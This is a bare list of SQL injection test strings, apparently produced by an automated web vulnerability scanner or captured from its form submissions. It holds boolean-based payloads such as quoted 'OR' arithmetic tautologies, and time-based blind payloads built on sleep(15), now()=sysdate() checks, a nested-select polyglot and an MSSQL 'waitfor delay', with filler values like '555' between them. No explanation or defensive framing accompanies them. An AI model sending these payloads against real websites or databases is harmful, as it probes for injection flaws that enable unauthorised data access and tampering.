-1' OR 2+739-739-1=0+0+0+1 --

555

-1' OR 2+890-890-1=0+0+0+1 or 'ZvbNvDtY'='

-1" OR 2+434-434-1=0+0+0+1 --

555

1*if(now()=sysdate(),sleep(15),0)

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1-1; waitfor delay '0:0:15' --